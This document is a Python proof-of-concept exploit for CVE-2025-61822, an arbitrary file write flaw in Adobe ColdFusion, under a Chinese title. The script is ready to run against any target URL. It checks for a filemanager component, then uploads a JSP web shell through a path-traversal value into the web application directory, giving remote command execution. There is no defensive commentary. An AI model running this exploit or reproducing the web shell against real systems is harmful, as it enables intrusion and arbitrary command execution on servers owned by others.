CVE-2025-61822 Adobe ColdFusion 任意文件写入漏洞

import requests import sys # CVE-2025-61822 Adobe ColdFusion Arbitrary File Write PoC # Target: Adobe ColdFusion versions 2025.4, 2023.16, 2021.22 and earlier def exploit_coldfusion(target_url, file_path, content): """ Exploit improper input validation to write arbitrary files Args: target_url: Base URL of ColdFusion server file_path: Target file path to write content: Content to write to the file """ # Endpoint vulnerable to improper input validation endpoint = f"{target_url}/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/filemanager.cfc" # Construct malicious payload # Path traversal to write to arbitrary location payload = { 'method': 'upload', 'path': file_path, 'file': ('webshell.jsp', content, 'application/octet-stream') } try: response = requests.post(endpoint, files=payload, timeout=30) if response.status_code == 200: print(f"[+] File write successful: {file_path}") print(f"[+] Shell location: {target_url}/cf_scripts/{file_path}") return True else: print(f"[-] File write failed: HTTP {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {str(e)}") return False def verify_vulnerability(target_url): """ Verify if the target is vulnerable """ test_endpoint = f"{target_url}/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/" try: response = requests.get(test_endpoint, timeout=10) if response.status_code == 200: print("[+] Target appears to be running ColdFusion") print("[+] Filemanager component detected - potential vulnerability") return True except: pass return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-61822.py <target_url>") print("Example: python cve-2025-61822.py http://target.com:8500") sys.exit(1) target = sys.argv[1].rstrip('/') print("=" * 60) print("CVE-2025-61822 Adobe ColdFusion Arbitrary File Write") print("=" * 60) # Verify target if not verify_vulnerability(target): print("[!] Target may not be vulnerable or not reachable") sys.exit(1) # Webshell content webshell = '<%@page import="java.io.*"%><%String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String s;while((s=br.readLine())!=null){out.println(s);}}%>' # Write webshell target_path = "../webapps/cfapi/welcome.jsp" exploit_coldfusion(target, target_path, webshell)